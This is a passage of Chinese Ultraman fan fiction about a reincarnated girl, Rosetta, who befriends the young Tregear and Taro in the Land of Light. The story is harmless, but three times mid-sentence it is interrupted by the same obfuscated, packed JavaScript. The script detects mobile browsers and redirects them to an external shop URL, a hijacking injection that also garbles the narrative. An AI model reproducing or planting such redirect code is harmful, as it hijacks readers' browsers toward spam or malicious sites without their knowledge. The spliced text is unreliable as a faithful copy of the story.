《[奥特] 罗塞塔》 1. 蓝色的她 (0) 在合眼之前,她听见一声叹息,一个低沉的声音在她耳边响起。 ——“你将如闪电般归来,经历三度新生,终要登临■■的王座。” ……这是谁的声音,谁的预言?她的思维渐渐迟缓,于是闭上眼,一颗流星坠入无边的辉光。 (1) 托雷基亚注意那个蓝色的同族很久了。 那是一个长相华丽的蓝族小奥,她的头顶有一对引人注目的角翼,笔直坚硬的双角像天线一样向上,银白柔软的头翅羽尖向下,垂于耳侧。胸口的计时器是光之国最常见的薄荷蓝,像一颗圆润的糖果。她的体色是艳丽的宝蓝色,银色的折线条纹如交叠的金属装饰托起肋骨,蔓延到腹部。三个由大变小的圆环如被压成二维平面的双螺旋纹路从那小奥的计时器外侧开始贯穿了整个胸腹。这位同族的眼灯是边缘圆润的菱形,她戴着白色的手套与靴子,正坐在活动室的角落里看光屏。 那对角翼是什么特殊的器官吗?就像泰罗的角一样?好想知道啊,要过去认识她吗? 能够注意到这个同族对于五百岁的托雷基亚来说,是理所当然的事情。如果这个光之国的福利院里的小奥们是成群结队的纯洁白羊,那个同族就是黑山羊的幼崽。她的脸上总是没有表情,比托雷基亚自己还要沉默,就算有其他的小孩邀请她一起玩,她也只是冷淡又疏离地轻轻摇头,于是孩子们在那张如雪山般美丽又冰冷的面孔前败退了。托雷基亚好奇这位同族在看什么书,于是在终端访问了她的借阅记录,终端缓冲了数秒,像雪崩一样吐出长长的记录。他划了好几页,终于翻到最后一页,末端登记了借阅人的名字:罗塞塔。 这个同族不会连休眠的时间都在看书吧?托雷基亚在眼花缭乱的书目中寻找,看见了不少与自己重叠的查阅记录。是那些没有什么孩子喜欢看的诗歌与哲学,光之国的孩子都喜欢光明温暖的故事,但是图书馆中也收录了其他文明的诗歌。那些充满黑暗,混乱和痛苦激情的诗对于孩子们来说是怪异的小刀,会划伤光之幼崽们稚嫩纯真的心。所以其他孩子不会主动找玻璃渣看,但是托雷基亚却从中体会到一种极致悲伤的……美丽。虽然看了会很难过,但他无法自拔地沉迷于这种痛苦中结出的果实中。托雷基亚轻轻呼出一口气,这是他第一次看见一个和他一样的——“同类”。 真是奇怪啊,明明都是在光之国诞生的孩子,为什么我和别人就是不一样呢?喜欢的东西不一样,想的事情不一样。所以也和大家不一样的你,会是我的同类吗? 他终于下定决心,走到罗塞塔的面前,说出了在心中预演的开场白:“你好,罗塞塔。我的名字是托雷基亚,我可以和你一起玩吗?” 女孩放下翻阅光屏的手,慢慢抬起头,注视着眼前的蓝奥。 转生成光之巨人是什么体验?这个问题罗塞塔可以回答:谢邀,我的感想是,真的无聊的要命啊! 睁眼发现自己变成一个胶囊里的光之幼崽,罗塞塔还以为自己见鬼了。她是一个没有父母的幼崽,很快就被银十字分配到福利院去。作为一个特摄幻想剧里的乌托邦,光之国福利院的条件要比罗塞塔这个前地球人想象的要好无数倍。但是奥特曼的生命太漫长了,六千岁成年。六千岁!六千年比中华文明的历史还要长一千年!作为一个曾经的短生种罗塞塔实在无法适应,光之国的日与夜对于她来说都太漫长了。她在茫然之中度过了第一个百年,这已经比她的上辈子要长了。她看不懂奥特曼的表情,也不知道自己要怎么用这张陌生的脸做表情。这个世界是真实的吗?它是一个贩卖给孩子的故事吗?罗塞塔知道很多剧情,但是那些故事要发生在数千年之后。她无数次看着自己的手思考。五百年足够她学会奥特曼的语言和文字,也足够一个人的人格崩毁无数次又重建。奥特曼们都是很好的人,随便拉一个放在地球上都是圣人。但是她不是,她这幅充满光的皮囊之下跳动的仍是人的心。罗塞塔时常想起那个神话故事,希腊联军将一个空心的木马送入特洛伊,夜间敌人从木马中走出,毁灭了特洛伊。 我就是那个特洛伊的木马,我的痛苦正是因为,我是如此地……不纯粹。 罗塞塔纠结了五百年,最后释然了,哈哈,怎么想也改变不了现实,那不如找点喜欢的事做算了。前世地球上有一个很热门的问题,如果你财富自由了想做什么?现在罗塞塔拥有衣食无忧的生活与无限的时间,于是她想了又想,诶!我爱学习,我要一头扎进知识的海洋! 这个书好看诶,这本也有意思,其他文明的记录也有点意思……罗塞塔幸福地自闭了,美美地读了五百年的书。顺便自学了光之国的义务教育,新的脑子就是好使,她丝滑地一路学到大学课程,再往后的内容就学不到了。 因为她的年龄小,终端提示她的权限不够。 就在罗塞塔埋头苦卷的时候,一个天蓝色的奥特曼走到她的面前。她从自己漫长的记忆里面翻了一下,原来是后来的超级人气反派,新生代的噩梦,托雷基亚奥特曼。真奇怪,现在这个时候他不是应该和泰罗一起玩吗?啊……不对,现在是放学时间。她注视着那双此刻还是蓝色的眼灯,提起来一点兴趣:“为什么想认识我呢?托雷基亚,你从我的身上看见了什么?” 似乎没想到会被回答,天蓝色的小奥的眼灯闪烁了一下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648337|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更亮了。罗塞塔推测,那应该代表奥特曼这个种族的“眨眼”。 没有被拒绝。 托雷基亚准备的下一句话卡住了。他本来准备用一本晦涩诗集的读后感打开话题。但是罗塞塔好像看穿了他的心思,一句话就刺破所有掩饰过的预谋。她问,你看见了什么? 我看见一个和我一样孤独的“异类”。我有名为泰罗的太阳,但是你什么都没有。所以我想认识你,我想问问你,你想要一个朋友吗? 托雷基亚看着那张依旧没有表情的脸,一阵战栗。被看穿了,被读懂了。她是和别人不一样的,她会和我一样吗?他决定使用一些更坦诚的说辞:“因为我对你感到好奇,我想知道,你为什么总是一个人。” “一个人?”罗塞塔向左轻微地偏了一下头,好像在认真思考他的话,“你好像预设了一个前提,你认为总是一个人是不好的事情。事实上,我并不觉得孤身一人是不好的事情。” “可是和朋友在一起,就不会寂寞。你不孤独吗?” “谢谢,我不需要朋友来弥补我的寂寞,因为这对于想要成为我的朋友的人来说,是很不公平的。” “但是,我想要成为你的朋友,因为我们喜欢看一样的书,我相信我们应该会成为朋友。” 罗塞塔被这句“很不托雷基亚”的话惊了一下。幼年白托原来是这种性格吗?怎么感觉他被泰罗腌入味了。她有点苦恼地说:“托雷基亚,对于你来说,朋友,或者其他人意味着什么呢?我们是一种盲目的生物,在虚假的倒影中确认自己的存在。只有出现在镜像中,他人的目光中,我才是‘罗塞塔’,你才是‘托雷基亚’。我们永远无法认清真实的自己,你看见了我喜欢的书,于是你在我的身上确认了你自己的影子,但这不意味着,我能够说:我们是一样的东西。我尚且无法认识自己,我要怎么成为你想要的朋友呢?” 托雷基亚有点惊讶。这大概是罗塞塔第一次对其他人说过这么多话。他又忽然有些沉默,因为罗塞塔坦然地承认了她就是与众不同的,但是他们还是不同的异类。可是那又怎么样呢?就算是不同种类的黑山羊,也是和白羊不同的东西。在这个巨大的光之国面前,异类就应该抱团取暖啊。他最后倔强地说:“我不需要你成为我想要的朋友,我只是要和这样的你做朋友,你要拒绝我吗?” “……唔,这样的话。”头负角翼的蓝族小奥轻轻点了头,她向托雷基亚伸出手,“好吧,我们是朋友了。” 托雷基亚把罗塞塔从角落里拉了出来,两个蓝族小奥走出房间。房间之外,等离子火花塔一如既往地闪烁着耀眼的光芒,将光之国的所有黑暗驱散。 2. 甜食怪兽打倒了奥特战士! (2) “你的角翼,有什么特殊的作用吗?” “除了能够储存更多的能量,好像也没什么用。怎么啦,很好奇吗?” “嗯,想研究一下。” “好哦,可以给你摸一下。” 罗塞塔和托雷基亚结伴上学,五百岁的小奥不被允许在光之国的空域飞行,所以他们坐的是类似电车一样的交通工具。无人驾驶的电车装满了一车叽叽喳喳的小奥,红银蓝三色混杂,像是一车三色跳跳糖。两个蓝族的小朋友一边看向车窗外面一边聊天。罗塞塔先收回了视线,好刺眼啊,就算五百年过去了她也没办法习惯绿油油的光之国。她向她的朋友低下头,把银白的角翼凑到他面前。 “可以吗?”托雷基亚很惊喜。其实他也好奇过泰罗的角,但是泰罗说奥特天线很敏感,不让他研究。没想到罗塞塔看起来像一座冰山,其实很好说话。他先小心地触碰了一下最下面的柔软的翼羽,触感是冰凉丝滑的。然后往上,稍微加大了力气揉捏关节的翼角,里面好像是中空的。羽翼条件反射地轻微舒展开。最后他的手指向上滑到像天线一样笔直的角,角看起来像水晶尖柱,摸起来也像,或许里面和羽翅不一样,没有神经,是纯粹的骨质增生?托雷基亚摸完了,准备收回手。电车忽然开始减速,一车的小奥因为惯性晃晃悠悠。“咔嚓”,一声轻微的脆响。托雷基亚呆住了,他的手里握着一小截银白色的尖角! 一不小心把朋友的角掰断了啊啊啊啊啊! 他手足无措,好想找个缝把自己埋进去。罗塞塔抬起头,看见肉眼可见慌乱的托雷基亚。她抬手摸了摸自己的角,摸到了光滑的断裂面。 “诶,原来是这么脆的吗?”她感叹的一句,“托雷基亚,你没事吧,有没有被碎渣扎到手?” “……没有。罗塞塔,对不起,我不小心……你的角,会痛吗?” “没什么感觉,你也别放在心上,以后还会长出来的。至于这个断角,你随便找个时间丢掉就好。奥特小学到了,我们下车吧。” 蓝族的女孩不在意地摆摆手,顶着一边长一边短的角下了车。托雷基亚局促地走在她的身边,他的手里紧紧握着一小节银白的断角,还是感到愧疚。 他们在走廊分开,要到不同的教室去。托雷基亚忽然下定决心,伸手拉了一下罗塞塔:“放学以后,在学校门口等我一下。” “唔?好啊。” 罗塞塔没有问要做什么,她轻轻点了一下头,转身离开。 泰罗发现他的朋友今天有点心不在焉的。在芙洛贝拉老师宣布下课的时候,他本来想和托雷基亚一起去玩。但是托雷基亚礼貌地拒绝了:“我今天约了其他的朋友,泰罗,对不起,你先回去吧。” “诶!托雷基亚的朋友吗?”阳光热情的泰罗一下子激动起来,“是我认识的人吗?我也想看看托雷基亚的朋友!” “是其他班级的罗塞塔,你应该没有见过她吧?” “啊!我有听说过哦。”泰罗摇头晃脑地说,“每门功课都拿到了第一名的传说,但是从来没有和别人一起玩,不说话又没表情,简直像一个高傲的公主一样。托雷基亚是怎么认识她的呢?” 罗塞塔才不高傲呢,她只是思考的东西和别人不太一样。托雷基亚默默地想,他斟酌了一下,用一种诱导性的语气说:“泰罗想认识她吗?我可以给你介绍哦。” “好呀,我已经迫不及待了!” 罗塞塔按照约定,站在奥特小学的门口等待托雷基亚。浪潮一样的人群从她的身边经过,自然地被这块礁石分开又合拢。泰罗一下子就注意到这个蓝色的身影,托雷基亚向罗塞塔挥手。于是静默的美丽神像活了过来,她转身抬头,轻轻地说:“你来啦,托雷基亚。” 这是泰罗第一次听见罗塞塔的声音,她的语调轻盈,咬字清晰又温柔。他看着罗塞塔逆着人流向他们走来,银白的角翼庄严又肃穆……她的角怎么一边长一边短的? “罗塞塔,这是泰罗。他也想和我们一起玩。” “你好,泰罗。我是罗塞塔,很高兴认识你。” “呃、你、你好!我是泰罗。”泰罗被冲击性的美貌暴击,他一边脸红一边挠头,“罗塞塔,你的角怎么断了?要不要去银十字看一下?我的妈妈是玛丽军长,她一定可以治好的。” 真是哪壶不开提哪壶。托雷基亚想踩泰罗的脚,但也只是想想。罗塞塔摇了摇头:“谢谢你的好意,不必挂心。这只是一个意外,我的角会自己长回来的。托雷基亚,约我等你是有什么事情吗?” “本来想和你一起去图书馆的,我看见了一本有趣的书。”这是托雷基亚思考了许久,觉得罗塞塔会喜欢的赔礼。“但是泰罗在这里,应该不想和我们一起待在图书馆吧?” “这样吗?”罗塞塔说,“那我们去别的地方玩吧,我很少去外面,泰罗。可以带我们去有趣的地方吗?” “好!”泰罗想,罗塞塔一点也不像传说里那么高冷嘛,她好善解人意的。他兴致勃勃地提议,“我们去奥特港口吃冰淇凌吧!” 三个奥特小学生排排坐在奥特空港的冰饮店里,冰饮店里面有不少年龄段的学生,罗塞塔还看见一些大学生。这是罗塞塔第一次看见外星风味的冰淇淋,非常……五颜六色的,比地球上的科技与狠活还要震撼人心。造型更是抽象,让人不禁怀疑厨师是不是在厨房磕了齐杰拉的花粉才能创作出如此惊天地动鬼神的作品。 高情商:审美很独特。 低情商:丑。 说不定只是看着奇怪,其实很好吃呢。罗塞塔做了一点心理建设,转头问托雷基亚:“托雷之前有来过这里吗?味道怎么样?” “我也是第一次来呢,”托雷基亚想了想说,“但是听说这家店在宇宙里很有名,能在光之国开连锁店,应该不难吃吧?” 泰罗已经举起手,中气十足地开始点单:“店长,我们要一份超级怪兽大满贯!” “来啦!”过了一小会,一个看起来像海鲜的外星人端着盘子过来了,她的身体是鲜艳红黄蓝三色,看起来和野生的菌子可能有一点玄学上的渊源。罗塞塔认出了她的种族,是幻觉星人梅特龙星人,大家都叫它小龙虾星人,是昭和tv中的敌役外星人,爱好侵略和玩弄人心。但是在光之国港口成功开店是要宇宙警备队批准的,也就是说,这位梅特龙女士不属于侵略者阵营。罗塞塔垂下目光,看着桌上的冰淇淋。真奇妙,原来那个种族也有讨生活的普通人。和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648338|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特摄剧中黑白分明的设定不一样,这个宇宙向她展现了更加庞大和真实的一角。 “请享用吧!吃了我的冰淇淋,会看见美梦一样的场景。这可是我们幻觉星人的拿手好戏哦!” 等一下,这听起来更奇怪了,绝对是磕了吧? 泰罗已经用勺子舀起一颗不知道什么怪兽造型的冰淇淋球,啊呜一口吃掉。金色的眼灯更亮了,周围好像出现了小花花在飘。“好好吃!我看见了赛文哥哥和我比试输掉了,接下来一个月都在陪我玩!” 赛文和你差了有五千岁吧,一个快成年的奥特曼要怎么输给你?被你萌死吗? 托雷基亚挑了一块蓝色的花形冰淇淋,谨慎地伸出舌头舔了一口。蓝色的眼灯也开始波光盈盈,他用梦一样的语气说:“真是甜蜜的感觉啊,我看见了,我看见了我和泰罗一起在宇宙里冒险。” 罗塞塔沉默。 罗塞塔看了一眼泰罗,又看了一眼托雷基亚。她拿起银白色的甜品勺,用勺子边缘在快要化掉的白色冰淇淋部分接了一滴可能是奶油的东西,抿了一口。 意料之外地很香浓,很丝滑。口感和用料都很优秀……但是随着而来的,是致死量的甜味。不知道是多少浓度的糖分,举着结晶长矛在她的口腔里围殴她的舌头。 “罗塞塔,你看见什么了?” “我好像看见我妈妈了。” “你在说什么胡话,我们都是一家孤儿院的,哪有妈妈?” “我的意思是,我感觉我的寿命减少了。” 头顶角翼的蓝族小奥啪唧一身倒在桌上,把托雷基亚和泰罗吓了一跳。“怎么回事,冰淇淋里有毒吗?”泰罗惊恐地看向碗里的冰淇淋,好像那是真的怪兽。托雷基亚冷静地分析:“不太可能,我们也吃了,我们一点事情也没有。” “我看看,”路过的老板翻过罗塞塔的脑袋仔细端详了一下,小奥白色的眼灯涣散,脸上浮起光晕。她淡定地把罗塞塔的脸摆回去:“没事,问题不大。这位小朋友是醉糖了。过一会就好了。” “糖也能醉倒人吗?” “虽然不常见,但是这种客人我也是有见过的。不过一般是身体比较柔弱的种族,我还以为以奥特曼的身体素质,不会出现这样的特例呢。” “罗塞塔,好娇弱啊。”泰罗放心了,感叹了一句。托雷基亚知道自己身为蓝族会比红族和银族体质弱一点,但是没见过弱成这样的同族。他小心地摸了摸罗塞塔的背鳍,问:“你还好吗?” “……让你们担心了,我没事。”罗塞塔晕乎乎地抬起头,倔强地说:“才不是我的问题,绝对是冰淇淋太甜了。吃了会心情愉悦,还会发胖,糖分也是一种毒品啊!” “听起来很有道理啊。”泰罗忍着笑说。 “那你还吃吗?”托雷基亚故意这么问。 “当然啦,可不能浪费食物。放心吧,罗塞塔,我们吃完会把你扶回去的。对吧托雷基亚。” “对,我们会把你平平安安送到寝室里的。对了,明天要帮你请假吗?” “……不用了,谢谢你们啊。我觉得我现在应该找你们的茬,但是我没有找到。” 泰罗和托雷基亚对视一眼,终于憋不住笑出了声。 3. 夜莺与玫瑰 (3) 罗塞塔对着镜子整理了一下自己的白手套,确认镜中的蓝族的每一处都整洁干净后,抱着笔记本走出了寝室。她敲了敲保育员的房门,对打开门的银族女性说:“佩卡女士,今天我要和托雷基亚去图书馆,可能会晚归,请您不必担心。” 佩卡是这家孤儿院的保育员之一,是负责罗塞塔的监护人。从接手罗塞塔开始,她就为这个孩子付出了很多关注和忧心。罗塞塔从小就太过安静,在其他小奥在摇篮里哭闹的时候,那个孩子没有发出一点声音,乳白色的眼灯没有焦距地凝视着虚空,安静得像是一个没有生命的布娃娃。她三百岁的时候才说出第一句话,在那之前,所有保育员都以为这个孩子可能是天生的哑巴。佩卡带罗塞塔去银十字做了全身的检查,检查结果是这孩子的发育完全正常,智力也没有问题,就是体质有些虚弱。但是罗塞塔就是不回应任何人。银十字的医生们甚至摇来了忙碌的玛丽军长来进行专家会诊。专业团队交换了意见,最后得出结论,这孩子有心理创伤。这个结论很快又被医生们推翻,因为一个刚出生几百年的小奥怎么会有心理问题?他们只能说,这孩子或许是得了千万年前,光之国人还未进化成奥特曼的时候的先天疾病:自闭症,自闭症患者可以听见和理解外界的信息,但是他们无法做出回应,他们是被孤独隔绝在世界之外的可怜人。佩卡听见这个结论,慢慢抱住罗塞塔,金色的光粒子从眼灯滴下,落在蓝色小奥的脸上,像一场细雨。她擦了擦眼睛,喃喃自语:“可怜的孩子,你以后该怎么生活呢?” 佩卡怀中的罗塞塔抬起头,目光聚集在银族女性的脸上,她伸出手,去接那滴慈悲的泪珠。 银十字的诊断很权威,那时候罗塞塔无法接受自己换了一个种族,周围全是外星人。每天一睁眼就是一群灯泡眼睛的皮套人围着着自己打转,属实很吓人。她一开始听不懂奥特曼的语言,看不懂奥特曼的表情。就像把猫咪放进新环境会应激,人类来到新的国家会不适应。罗塞塔看着镜子中的自己,一个异形的生命取代了自己原本的样子。陌生的样子,陌生的名字,陌生的环境。以往的经验都失去作用,她是一个性格已经定型的成年人,被莫名其妙从观众席上拉下来,推上可笑的儿童剧舞台,她怎么能不惊慌,怎么能不抗拒。 怎么能不……愤怒? 但是奥特曼实在是太温柔,太善良了。保育员们没有放弃孱弱的她,给了她更多的关心和偏爱,孩子们也对此没有意见,非常懂事地认为罗塞塔就是应该得更多的照料。就算罗塞塔是一个雪人,也会被温暖的太阳晒化了吧?熟悉的情感从陌生的族群中涌出,包裹住了罗塞塔。那一天佩卡像往常一样坐在罗塞塔的床前给她讲睡前故事,罗塞塔看着这个为自己付出了很多精力的银族奥特曼,轻轻地说:“谢谢您,佩卡女士。” “罗塞塔,你会说话了?”佩卡惊喜地抱住小小的罗塞塔,语气几乎有些哽咽,“好孩子,有什么需要感谢的呢?只要你能健康成长,我就很高兴了呀。” “我……想明白了一些事,”罗塞塔慢慢地吐出属于奥特曼的语言,那是地球人无法发出的声音,但语调中仍有乡音的痕迹残留,听起来比其他小奥更加黏腻轻柔。“我会好好长大的,谢谢您。” 三百年了,也该接受事实,接受这颗翠绿色的星星要成为她新的故乡。接受她成为一个非人的知性体,成为光芒的一员。升格为强大长寿的奥特曼是多少人梦寐以求的事情啊,有什么值得不满的呢?罗塞塔有时候觉得自己过于矫情,可是故乡之所以是故乡,不是因为它有多美丽,而是它承载了一个人最初的人生和情感。她只是,仍在思念。 就算这个宇宙也有地球,就算无限个平行宇宙有无限个地球,那也只是相似的花朵,她永远回不去最初的故土。 佩卡想起了那个天蓝色的小奥,托雷基亚,他也和罗塞塔一样,总是独来独往。没想到两个独狼一样的蓝族成为了朋友。佩卡很开心,她一直很担心罗塞塔的自闭倾向,如今有人打开了她的心扉,罗塞塔也愿意和其他小朋友一起玩了,真是太好了。佩卡蹲下来摸了摸罗塞塔的脑袋:“去吧,小罗,要和朋友玩得开心啊。” 银白色的脑袋上下晃了晃,罗塞塔点头,挥了挥手,转身离开。 今天光之国的天气也是一成不变的明亮。罗塞塔看了一眼绿色的天空,向光之国的大图书馆走去。她慢慢地飘起来,飞到第三层,托雷基亚已经选好了一个单人阅读室,这是为那些想要一个人专注看书的读者设立的,周围就是学校,不少学生下课了会开一间阅读室写作业。罗塞塔给托雷基亚的终端发消息,很快托雷基亚就打开了阅读室的门。在科技发达的光之国,书籍早就已经通过数据的形式记录在图书馆的服务器,读者可以通过借阅系统从云端下载书籍。但是就算科技如此发展,总有人会迷恋实体的书本放在手中的触感,喜欢阅读厚重的纸质书,喜欢用笔尖在白色的纸面留下刀耕火种般的痕迹。那是会被时间冲刷腐朽的铭刻,却也是最真实的,生命存在过的记录。图书馆给每个阅读室都配备了打印机和纸张,以供读者打印想要收藏的书籍。罗塞塔坐在书桌前,和托雷基亚交换了笔记。托雷基亚看书有一个习惯,他习惯在纸上写笔记和联想,有时候他还会在角落里塞几首自己写的诗。罗塞塔慢慢地翻阅着朋友的笔记本,准备全部看完再和托雷基亚交流。 这段时间托雷基亚的生活很充实,上学日和罗塞塔一起去学校,放学后泰罗、罗赛塔和托雷基亚一起在光之国逛街。休息日的上午和泰罗一起开着宇宙飞船在光之国周围的星星上冒险,和可爱的怪兽宝宝玩耍,然后被怪兽妈妈追得满地乱跑。下午和罗塞塔一起在图书馆学习阅读,他们花一点时间完成学校的作业,然后沉浸在知识的海洋里。和泰罗在一起的时候很快乐,泰罗是被许多爱意浇灌长大的孩子,总是不自觉地对其他人撒娇。他会拉着托雷基亚兴奋地说很多话,他总是那么阳光,托雷基亚的世界好像都因为这个小太阳变得色彩斑斓。和罗塞塔在一起的时候是不一样的感觉,是一种平静的安心感。那些因为泰罗的开朗冲散的想法又从脑海中浮现,泰罗总是说托雷基亚你想得太悲观啦,看待事物不能只看见他们坏的一面。而罗塞塔则会很认真地听他说话,然后告诉他,你说的很有道理,就算我们不去看,那些坏的,悲伤的东西就在那里,不会自己消失掉。托雷基亚喜欢这个说法,这意味着,他们思考的东西是一样的。 有时候泰罗也会来图书馆和他们一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648339|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看书,托雷基亚念自己写的诗,请罗塞塔修改。罗塞塔给他们讲故事,她说这是梦里出现的故事。比如一只夜莺为了一个学生能够给心上人表白,向玫瑰花歌唱了整整一个夜晚,用心血浇灌那枝带刺的花朵,在黎明死去。学生看见了这朵最美丽,最鲜红的玫瑰,高兴地摘下它向女孩表白。但是他喜欢的女孩子选择了另一个送她珠宝的男人,于是学生愤怒地丢掉玫瑰花,任由玫瑰被车轮碾碎。 “真是一朵廉价的,没有任何用处的花朵!” 罗塞塔的声音又轻又凉,她慢慢地讲完了学生最后的台词。泰罗听完已经眼泪汪汪了:“怎么这样,夜莺好可怜,玫瑰花也好可怜,那个学生怎么能这样浪费夜莺的努力呢?” “可是对于学生来说,他根本不知道这朵玫瑰是夜莺用生命换来的,”托雷基亚闷闷不乐,“真是一只可怜的笨鸟,为了人类虚假的爱情无意义地死去了。” “托雷,爱不是虚假的呀,女孩只是不喜欢学生而已,这也不是人类的错啊。”泰罗反驳到。 “如果人类没有错,那就只是夜莺的错了。是它自顾自牺牲了自己,为了想象中的完美爱情把自己献祭掉了。” “托雷,你真聪明,”罗塞塔说,“这不是一个爱情故事,而是在讨论,现实和理想哪一个更重要。夜莺是为了自己的理想牺牲的,学生和女孩是为了自己的现实丢掉玫瑰的。你们更喜欢哪一个呢?” “原来是这样啊,”泰罗恍然大悟,“我的话,果然还是更喜欢夜莺吧。因为玫瑰真的很漂亮,值得珍惜呀。” 托雷基亚看着罗塞塔和泰罗,没有说话。他在思考,罗塞塔为什么要讲这个故事呢?她想告诉我什么呢?玫瑰确实美丽,但又脆弱易碎。她难道想说,我和泰罗的理想都是易碎的玻璃制品吗?总有一天会被无意义地砸碎?她的目光到底看见了什么呢? 他最后看向泰罗,小声坚定地说:“我和泰罗一样,更加欣赏夜莺。” 罗塞塔看着他们,语气轻松地说:“只是一个故事啦,不用这么紧张,好啦,我们回去吧。” 所有的奥特曼都会选择夜莺与玫瑰吧,因为奥特曼都是理想的化身。就算是堕入黑暗的托雷基亚,最后也会因为自己的玫瑰死去。你明明已经看见了宇宙是虚无的,明明只要彻底割舍过去的友谊逃走就好了,可是你偏偏要纠缠太阳之子的光辉,为了心中某个人的音容接下令迦的光线。小孩子或许会被优雅又危险的反派托雷基亚吸引,但是成年人看见托雷基亚更像看见同类,他想得太多,看得太远。他发现这个世界不是喊着爱和正义就能获得幸福的世界,不是每一个生命都能获得奇迹眷顾,于是没有办法再做天真的孩子。罗塞塔其实很喜欢托雷基亚这个角色,他就像误入白色羊群的黑羊,如此聪慧又如此脆弱。他的脆弱不是身体上的,而是心灵上的。宛若蓝水晶的心终会被现实和理想的差距击碎,然后堕入黑暗,斥责光之国的虚伪,因为它不曾告诉孩子们世界上不是按照“善有善报,恶有恶报”的规则运行的。 罗塞塔看完了托雷基亚的笔记,抬起头,用目光描摹蓝族少年此刻还纯白的面容,她在心里轻声叹息。 所以,我要怎么挽救你呢?我的朋友,我的蓝色玫瑰? 4. 奥特曼的儿童文艺汇演 (4) 转眼间是奥特小学毕业的日子,老师们计划着要在毕业典礼上加入表演节目,邀请来参观的家长们欣赏孩子们的演出。至于要演什么,怎么演,老师们决定全部交给毕业生来决定。即将毕业的小奥们围在一起讨论了一会,很快就商量出了结果。泰罗拉着托雷基亚的手冲到罗塞塔班上:“罗塞塔,我们一起组队表演吧!这样我们就是三人小队了!” 为什么就算变成奥特曼了也逃不过儿童汇演这种黑历史啊!罗塞塔看着两个长高不少的小伙伴,决定溺爱他们一下。 “好啊,泰罗有什么计划吗?” “我们来演那个英雄打败怪兽,救回公主的故事!”泰罗提出了一个绝对不会出错的传统英雄故事剧本,罗塞塔双手交叠放在膝盖上,偏了偏头问:“那么,你们已经决定好要分配什么角色了吗?” “罗塞塔来演公主,英雄的话,果然还是泰罗最合适。”托雷基亚看着他的朋友说,掩盖了心里那点别扭,“你是英雄的孩子,一直想要成为正义的使者,成为英雄是最合适的。所以……我来演怪兽吧。” “嘿嘿嘿,托雷,真的吗?我真的可以成为英雄吗?”泰罗开朗地笑出来,“谢谢你的鼓励,我会努力的!” 罗塞塔坐在旁边,观察着一个没头脑和一个不高兴。她看出来了托雷基亚的不甘心,很显然托雷基亚也是想要要扮演英雄的,但他自觉不如泰罗,所以抢先退出了竞争。可是如果他说我也想演英雄,泰罗其实是会愿意让出角色的。不,他那么聪明,当真不知道泰罗的善良吗?他知道,但是比起成为英雄,他更不能接受的是泰罗成为怪兽。没有人想当怪兽,所以托雷基亚决定自己上。 但是比起花瓶一样的公主,怪兽难道不是更重要的角色吗? “我也想演怪兽呢,托雷基亚,可以让我来吗?”罗塞塔拉长了尾音说,她在试着模仿泰罗向托雷基亚撒娇的样子。 “诶?如果罗塞塔来当怪兽,托雷基亚不是只能演公主了吗?” “笨蛋泰罗,”托雷基亚红着脸说,“我是男孩子,怎么能当公主?” “不对哦,泰罗。”罗塞塔微笑着解释,“我的意思是,你和托雷基亚一起成为英雄。而我既是公主,也是怪兽。想想看,被拯救的公主其实是怪兽,这难道不是很有意思的反转吗?”她用轻松的语气说:“这个节目绝对能够震惊到所有人吧?” “好厉害……罗塞塔!你的想法超级棒啊!”泰罗不自觉地地点了点头,“托雷,我们可以组成英雄小队了,我们可以一起当主角!” “嗯。谢谢你,罗塞塔。”托雷基亚小声地道谢。他毫不怀疑罗塞塔看穿了他的心思,于是选择这个办法使他圆梦。因为罗塞塔是聪明又善解人意的孩子,在充满光的国度里,谁愿意当很坏的怪兽呢?他的小伙伴真是牺牲了太多,下次和泰罗去冒险,也邀请罗塞塔一起去吧。托雷基亚默默地想。 “好,既然决定好了,我们就开始准备吧!” 赛文高中放学回家,一推开家门,一个红色的不明物体飞了过来,像强力磁铁一样吸附在他的腿上,他低头一看,这枚炮弹顶着一对牛角包。泰罗抬起头,试图用金色的眼灯发射小星星:“赛文哥哥,明天我就要毕业啦,你会不会来参加我的毕业典礼?” “父亲和母亲没有空吗?” “爸爸妈妈肯定会来的,但是我也想赛文哥哥来,我和朋友准备了超级厉害的话剧表演哦,拜托啦,赛文哥。一定要去好不好?好不好嘛?” 赛文低头看着抱着自己大腿的表弟,思考要怎么把这个小鼻嘎踹开而不伤害他。他冷酷地说:“我对小孩子的过家家没兴趣,你要找人陪不如去叫艾斯。” “不要,我就要赛文哥哥去!赛文哥哥最近好冷淡,都不陪我玩。我的表演你一定要去看嘛!” 